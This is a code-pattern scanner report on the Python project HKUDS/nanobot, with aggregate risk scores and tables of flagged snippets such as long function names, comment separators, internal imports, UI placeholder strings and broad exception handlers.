AI Slop Code RIsk Monitor

HKUDS/nanobot

Ultra-lightweight, open-source, self-hosted personal AI agent framework in Python with WebUI, tools, memory, MCP, multi-agent workflows, automation, and chat apps

27.4 Elevated pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for HKUDS/nanobot, a Python project with 48,931 GitHub stars. SynthScan examined 536,230 lines of code across 1731 source files, recording 11435 pattern matches distributed across 22 syntactic categories. The legacy adjusted pattern signal is 27.4 (Elevated pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

27.4
Adjusted Signal
27.4
Raw Pattern Score
100%
Time Factor
2026-10-10
Last Push
48.9K
Stars
Python
Language
536.2K
Lines of Code
1.7K
Files
11.4K
Pattern Hits
2026-10-12
Scan Date
0.17
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 49.7/100 · MEDIUM

Can maintainers explain intent, assumptions, and trade-offs? 8379 finding(s).

Hallucinated Dependency & Supply Chain Risk 29.9/100 · MEDIUM

Are imports declared and package/API names verified? 1648 finding(s).

Agent Over-Engineering Ratio 62.7/100 · HIGH

Are wrappers, guards, and repeated structures necessary? 9450 finding(s).

PR Review Velocity Impact 75.3/100 · CRITICAL

Which changes need focused human review? 11435 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 169HIGH 123MEDIUM 705LOW 10438

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 11435 distinct pattern matches across 22 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hyper-Verbose Identifiers7995 hits · 7012 pts
SeverityFileLineSnippetContext
LOWconftest.py19def _isolate_tokenizer_warmup(monkeypatch: pytest.MonkeyPatch) -> None:CODE
LOWconftest.py26def _isolate_nanobot_log_activation() -> Iterator[None]:CODE
LOWconftest.py63def _isolate_llm_usage_stores(CODE
LOWconftest.py78def _isolate_star_prompt_store(CODE
LOWconftest.py102def _use_windows_system_ca_for_default_http_clients() -> Iterator[None]:CODE
LOWtui/scripts/package-release.py27def _validate_opentui_version(root: Path, notices: str) -> None:CODE
LOWtui/src/composer/clipboard-image.ts34export function createClipboardImageReader(CODE
LOWtui/src/platform/host.ts11export function configureOpenTuiEnvironment(CODE
LOWtui/src/menus/command-menu.ts43export function resolveSlashCommandLifecycle(CODE
LOWtui/src/rendering/latex.ts545function markdownLinkDestinationEnds(source: string): ReadonlyMap<number, number> {CODE
LOWtui/src/client/connection.ts100export function sanitizeConnectionFailure(error: unknown): string {CODE
LOWnanobot/process_runtime.py453 def _posix_process_started_at(self, pid: int) -> str | None:CODE
LOWnanobot/process_runtime.py636def _legacy_darwin_started_at(value: str) -> int | None:CODE
LOWnanobot/process_runtime.py722def _windows_process_identity(pid: int) -> str | None:CODE
LOWnanobot/optional_features.py67def optional_dependency_groups_from_metadata() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py86def optional_dependency_groups() -> dict[str, list[str] | None]:CODE
LOWnanobot/optional_features.py103def _install_requirements_for_extra(extra: str, deps: list[str]) -> list[str]:CODE
LOWnanobot/optional_features.py150def _extra_dependencies_installed(CODE
LOWnanobot/optional_features.py292def set_channel_config_enabled(CODE
LOWnanobot/optional_features.py371def _channel_has_required_setup(section: Any, spec: ChannelSetupSpec | None) -> bool:CODE
LOWnanobot/optional_features.py425def optional_features_payload(CODE
LOWnanobot/optional_features.py536def with_channel_runtime_status(CODE
LOWnanobot/optional_features.py627def _combined_channel_runtime_state(CODE
LOWnanobot/optional_features.py643def _install_feature_dependencies(CODE
LOWnanobot/optional_features.py675def install_optional_feature_support(CODE
LOWnanobot/optional_features.py827def ensure_enabled_channel_dependencies(CODE
LOWnanobot/optional_features.py854def _feature_requires_restart(name: str, *, is_channel: bool) -> bool:CODE
LOWnanobot/runtime_context.py55def wrap_runtime_context_lines(lines: Iterable[str]) -> str:CODE
LOWnanobot/runtime_context.py63def webui_quote_runtime_context(metadata: Mapping[str, Any]) -> RuntimeContextBlock | None:CODE
LOWnanobot/runtime_context.py78def normalize_runtime_context_blocks(result: RuntimeContextResult) -> list[RuntimeContextBlock]:CODE
LOWnanobot/runtime_context.py99def runtime_context_blocks_from_metadata(CODE
LOWnanobot/pairing/store.py316def _handle_pairing_subcommand(channel: str, subcommand_text: str) -> str:CODE
LOWnanobot/config/provider_api_migration.py10def migrate_legacy_provider_api(CODE
LOWnanobot/config/errors.py93def _friendly_validation_message(message: str, code: str) -> str:CODE
LOWnanobot/config/schema.py380 def wildcard_host_requires_auth(self) -> "ApiConfig":CODE
LOWnanobot/config/schema.py708def _resolve_tool_config_refs() -> None:CODE
LOWnanobot/security/workspace_access.py239def validate_workspace_scope_payload(CODE
LOWnanobot/security/workspace_access.py280def workspace_scope_from_metadata(CODE
LOWnanobot/security/workspace_access.py310def resolve_effective_workspace_scope(CODE
LOWnanobot/security/workspace_access.py372def current_scope_allows_loopback(*, enabled: bool) -> bool:CODE
LOWnanobot/security/network.py334def _is_allowed_loopback_target(CODE
LOWnanobot/triggers/local_store.py222 def recover_processing_deliveries(self) -> int:CODE
LOWnanobot/triggers/local_store.py293 def write_delivery_run_record(CODE
LOWnanobot/triggers/local_store.py357 def _move_bad_delivery_unlocked(self, path: Path) -> None:CODE
LOWnanobot/triggers/local_store.py379 def _delete_delivery_files_for_trigger_unlocked(self, trigger_id: str) -> None:CODE
LOWnanobot/triggers/local_store.py397 def _delivery_file_trigger_id(path: Path) -> str | None:CODE
LOWnanobot/triggers/local_runner.py169def _write_delivery_run_record(CODE
LOWnanobot/triggers/local_session_turns.py15def _local_trigger_history_text(trigger: Mapping[str, Any]) -> str:CODE
LOWnanobot/triggers/local_session_turns.py46def local_trigger_delivery_id(metadata: Mapping[str, Any] | None) -> str | None:CODE
LOWnanobot/triggers/local_turns.py33 def pending_trigger_ids_for_session(self, session_key: str) -> set[str]:CODE
LOWnanobot/triggers/local_turns.py38def _should_defer_local_trigger_turn(CODE
LOW⚡nanobot/providers/image_generation.py244def register_image_gen_provider(cls: type[ImageGenerationProvider]) -> None:CODE
LOW⚡nanobot/providers/image_generation.py265def image_gen_provider_configs(config: Config) -> dict[str, ProviderConfig]:CODE
LOW⚡nanobot/providers/image_generation.py1655def _collect_text_from_sse_event(event: dict[str, Any], text_parts: list[str]) -> None:CODE
LOWnanobot/providers/image_generation.py113def image_path_to_inline_data(path: str | Path) -> dict[str, str]:CODE
LOWnanobot/providers/image_generation.py606def _ollama_images_from_payload(payload: dict[str, Any]) -> list[str]:CODE
LOWnanobot/providers/image_generation.py867def _gemini_flash_image_config(CODE
LOWnanobot/providers/image_generation.py890def _gemini_flash_supported_aspect_ratios(model: str) -> set[str]:CODE
LOWnanobot/providers/image_generation.py903def _gemini_flash_supported_image_sizes(model: str) -> set[str]:CODE
LOWnanobot/providers/image_generation.py919async def _aihubmix_images_from_payload(CODE
7935 more matches not shown…
Decorative Section Separators674 hits · 2498 pts
SeverityFileLineSnippetContext
MEDIUM⚡nanobot/providers/image_generation.py237# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/image_generation.py239# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/image_generation.py274# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/image_generation.py276# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/image_generation.py1662# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/image_generation.py1664# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1093# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1095# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1366# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1368# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1784# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1786# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1927# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py1929# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py2115# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/image_generation.py2117# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py200# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py202# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py914# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/registry.py916# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py851 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py853 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1310 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1312 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1845 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/openai_compat_provider.py1847 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py133 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py135 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py268 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/azure_openai_provider.py270 # ------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/anthropic_provider.py742 # ------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/providers/anthropic_provider.py744 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py198 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py200 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py507 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py509 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py549 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py551 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py587 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py589 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py673 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/providers/anthropic_provider.py675 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py664# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/document.py666# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py89# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/utils/searchusage.py91# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py54# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py56# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/memory.py698 # ------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/memory.py700 # ------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py747# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/memory.py749# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/tools/filesystem.py545# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/tools/filesystem.py547# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/tools/filesystem.py591# ---------------------------------------------------------------------------COMMENT
MEDIUM⚡nanobot/agent/tools/filesystem.py593# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py197# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py199# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1116# ---------------------------------------------------------------------------COMMENT
MEDIUMnanobot/agent/tools/filesystem.py1118# ---------------------------------------------------------------------------COMMENT
614 more matches not shown…
Hallucination Indicators169 hits · 1872 pts
SeverityFileLineSnippetContext
CRITICALnanobot/pairing/store.py21from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/config/paths.py8from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/config/loader.py18from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/triggers/local_store.py19from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/providers/image_generation.py25from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/providers/xai_oauth.py34from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/providers/conversation_state.py14from nanobot.utils.helpers import estimate_prompt_tokens_chainCODE
CRITICALnanobot/providers/openai_codex_provider.py44from nanobot.utils.helpers import estimate_prompt_tokensCODE
CRITICALnanobot/providers/base.py30from nanobot.utils.helpers import sanitize_surrogates_deepCODE
CRITICALnanobot/utils/media_decode.py14from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/utils/workspace_prompts.py8from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/utils/__init__.py9from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/utils/runtime.py11from nanobot.utils.helpers import stringify_text_blocksCODE
CRITICALnanobot/utils/document.py13from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/utils/artifacts.py15from nanobot.utils.helpers import detect_image_mime, ensure_dirCODE
CRITICALnanobot/agent/progress_hook.py14from nanobot.utils.helpers import IncrementalThinkExtractor, strip_thinkCODE
CRITICALnanobot/agent/context.py31from nanobot.utils.helpers import detect_image_mime, load_bundled_templateCODE
CRITICALnanobot/agent/turn_delivery.py36from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/agent/loop.py102from nanobot.utils.helpers import image_placeholder_textCODE
CRITICALnanobot/agent/tools/image_generation.py42from nanobot.utils.helpers import detect_image_mimeCODE
CRITICALnanobot/agent/tools/session_messages.py186 from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/agent/tools/web.py29from nanobot.utils.helpers import build_image_content_blocksCODE
CRITICALnanobot/agent/tools/mcp_oauth.py37from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/agent/tools/filesystem.py25from nanobot.utils.helpers import build_image_content_blocks, detect_image_mimeCODE
CRITICALnanobot/agent/tools/message.py161 from nanobot.utils.helpers import strip_thinkCODE
CRITICALnanobot/cli/gateway_runtime.py45from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALnanobot/cli/terminal.py32from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogatesCODE
CRITICALnanobot/cli/webui.py40from nanobot.utils.helpers import sync_workspace_templatesCODE
CRITICALnanobot/cli/agent.py134 from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogatesCODE
CRITICALnanobot/cli/commands.py68from nanobot.utils.helpers import sanitize_surrogates as _sanitize_surrogates # noqa: E402,F401CODE
CRITICALnanobot/api/server.py23from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/inbound_commands.py38from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/session_context.py9from nanobot.utils.helpers import estimate_message_tokens, truncate_textCODE
CRITICALnanobot/webui/remote_instances.py19from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/webui/transcript.py28from nanobot.utils.helpers import atomic_write_linesCODE
CRITICALnanobot/webui/star_prompt.py13from nanobot.utils.helpers import _write_text_atomic # pyright: ignore[reportPrivateUsage]CODE
CRITICALnanobot/webui/mcp_presets_api.py33from nanobot.utils.helpers import ensure_dirCODE
CRITICALnanobot/webui/media_api.py22from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/webui/automation_chats.py15from nanobot.utils.helpers import truncate_textCODE
CRITICALnanobot/command/builtin.py21from nanobot.utils.helpers import build_status_contentCODE
CRITICAL⚡…ot/channels/websocket/tests/test_attachment_ingress.py142 assert not [p for p in channel.gateway.uploads.store.media_dir.rglob("*") if p.is_file()]CODE
CRITICAL…ot/channels/websocket/tests/test_attachment_ingress.py176 assert not [p for p in channel.gateway.uploads.store.media_dir.rglob("*") if p.is_file()]CODE
CRITICALnanobot/channels/napcat/runtime.py29from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/discord/runtime.py23from nanobot.utils.helpers import safe_filename, split_messageCODE
CRITICALnanobot/channels/feishu/runtime.py47from nanobot.utils.helpers import safe_filenameCODE
CRITICALnanobot/channels/feishu/runtime.py1314 response = self._client.im.v1.message_reaction.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1355 response = self._client.im.v1.message_reaction.delete(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1705 response = self._client.im.v1.image.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1739 response = self._client.im.v1.file.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1767 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1802 response = self._client.im.v1.message_resource.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1906 response = self._client.im.v1.message.get(request)CODE
CRITICALnanobot/channels/feishu/runtime.py1963 response = self._client.im.v1.message.reply(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2095 response = self._client.im.v1.message.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2153 response = self._client.cardkit.v1.card.create(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2203 response = self._client.cardkit.v1.card_element.content(request)CODE
CRITICALnanobot/channels/feishu/runtime.py2235 response = self._client.cardkit.v1.card.settings(request)CODE
CRITICAL⚡nanobot/channels/feishu/tests/test_feishu_reaction.py100 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
CRITICAL⚡nanobot/channels/feishu/tests/test_feishu_reaction.py112 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
CRITICAL⚡nanobot/channels/feishu/tests/test_feishu_reaction.py120 ch._client.im.v1.message_reaction.delete.assert_called_once()CODE
109 more matches not shown…
Fake / Example Data800 hits · 1084 pts
SeverityFileLineSnippetContext
LOWnanobot/webui/mcp_presets_api.py659 "placeholder": field.placeholder,CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ja.json8 "placeholder": "DingTalk Client ID"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ja.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ja.json16 "placeholder": "ユーザー ID(カンマ区切り)"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-CN.json9 "placeholder": "钉钉 Client ID"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-CN.json13 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-CN.json17 "placeholder": "用户 ID,用逗号分隔"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/en.json8 "placeholder": "DingTalk client ID"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/en.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/en.json16 "placeholder": "User IDs, comma separated"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/fr.json8 "placeholder": "Client ID DingTalk"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/fr.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/fr.json16 "placeholder": "ID utilisateur séparés par des virgules"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/pt-BR.json8 "placeholder": "Client ID do DingTalk"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/pt-BR.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/pt-BR.json16 "placeholder": "IDs de usuário separados por vírgulas"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ko.json8 "placeholder": "DingTalk Client ID"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ko.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/ko.json16 "placeholder": "사용자 ID, 쉼표로 구분"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-TW.json9 "placeholder": "釘釘 Client ID"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-TW.json13 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/zh-TW.json17 "placeholder": "使用者 ID,以逗號分隔"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/vi.json8 "placeholder": "Client ID DingTalk"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/vi.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/vi.json16 "placeholder": "ID người dùng, phân tách bằng dấu phẩy"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/id.json8 "placeholder": "Client ID DingTalk"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/id.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/id.json16 "placeholder": "ID pengguna, dipisahkan koma"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/es.json8 "placeholder": "Client ID de DingTalk"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/es.json12 "placeholder": "••••••"CODE
LOW⚡nanobot/channels/dingtalk/webui/locales/es.json16 "placeholder": "ID de usuario separados por comas"CODE
LOWnanobot/channels/napcat/webui/locales/ja.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/ja.json12 "placeholder": "アクセストークン(任意)"CODE
LOWnanobot/channels/napcat/webui/locales/ja.json24 "placeholder": "QQ ID(カンマ区切り)"CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json12 "placeholder": "可选令牌"CODE
LOWnanobot/channels/napcat/webui/locales/zh-CN.json24 "placeholder": "QQ ID,用逗号分隔"CODE
LOWnanobot/channels/napcat/webui/locales/en.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/en.json12 "placeholder": "Optional token"CODE
LOWnanobot/channels/napcat/webui/locales/en.json24 "placeholder": "QQ IDs, comma separated"CODE
LOWnanobot/channels/napcat/webui/locales/fr.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/fr.json12 "placeholder": "Jeton facultatif"CODE
LOWnanobot/channels/napcat/webui/locales/fr.json24 "placeholder": "ID QQ séparés par des virgules"CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json12 "placeholder": "Token opcional"CODE
LOWnanobot/channels/napcat/webui/locales/pt-BR.json24 "placeholder": "IDs do QQ separados por vírgulas"CODE
LOWnanobot/channels/napcat/webui/locales/ko.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/ko.json12 "placeholder": "액세스 토큰(선택 사항)"CODE
LOWnanobot/channels/napcat/webui/locales/ko.json24 "placeholder": "QQ ID, 쉼표로 구분"CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json12 "placeholder": "選填權杖"CODE
LOWnanobot/channels/napcat/webui/locales/zh-TW.json24 "placeholder": "QQ ID,以逗號分隔"CODE
LOWnanobot/channels/napcat/webui/locales/vi.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/vi.json12 "placeholder": "Token tùy chọn"CODE
LOWnanobot/channels/napcat/webui/locales/vi.json24 "placeholder": "ID QQ, phân tách bằng dấu phẩy"CODE
LOWnanobot/channels/napcat/webui/locales/id.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/id.json12 "placeholder": "Token opsional"CODE
LOWnanobot/channels/napcat/webui/locales/id.json24 "placeholder": "ID QQ, dipisahkan koma"CODE
LOWnanobot/channels/napcat/webui/locales/es.json8 "placeholder": "ws://127.0.0.1:3001"CODE
LOWnanobot/channels/napcat/webui/locales/es.json12 "placeholder": "Token opcional"CODE
740 more matches not shown…
Unused Imports640 hits · 600 pts
SeverityFileLineSnippetContext
LOWconftest.py3CODE
LOWhatch_build.py21CODE
LOWtui/scripts/conpty_smoke.py4CODE
LOWtui/scripts/pty_smoke.py9CODE
LOWtui/scripts/package-release.py3CODE
LOWnanobot/nanobot.py3CODE
LOWnanobot/nanobot.py16CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/nanobot.py24CODE
LOWnanobot/process_runtime.py3CODE
LOWnanobot/optional_features.py2CODE
LOWnanobot/events.py3CODE
LOWnanobot/runtime_context.py3CODE
LOWnanobot/__init__.py12CODE
LOWnanobot/__init__.py13CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py14CODE
LOWnanobot/__init__.py35CODE
LOWnanobot/__init__.py35CODE
LOWnanobot/build_info.py3CODE
LOWnanobot/pairing/store.py8CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/pairing/__init__.py3CODE
LOWnanobot/llm_usage/store.py3CODE
580 more matches not shown…
Excessive Try-Catch Wrapping552 hits · 520 pts
SeverityFileLineSnippetContext
LOWnanobot/nanobot.py296 except Exception as exc:CODE
LOWnanobot/optional_features.py516 except Exception as exc:CODE
LOWnanobot/optional_features.py785 except Exception as exc:CODE
LOWnanobot/optional_features.py811 except Exception as exc:CODE
LOWnanobot/events.py94 except Exception:CODE
LOWnanobot/llm_usage/__init__.py59 except Exception:CODE
LOWnanobot/llm_usage/__init__.py73 except Exception:CODE
LOWnanobot/config/timezone.py17 except Exception:CODE
LOWnanobot/security/network.py102 except Exception as e:CODE
LOWnanobot/security/network.py158 except Exception:CODE
LOWnanobot/security/network.py224 except Exception:CODE
LOWnanobot/security/network.py296 except Exception:CODE
LOWnanobot/triggers/local_store.py214 except Exception:CODE
LOWnanobot/triggers/local_store.py234 except Exception:CODE
LOWnanobot/triggers/local_store.py332 except Exception as exc:CODE
LOWnanobot/triggers/local_store.py400 except Exception:CODE
LOWnanobot/triggers/local_runner.py103 except Exception as exc:CODE
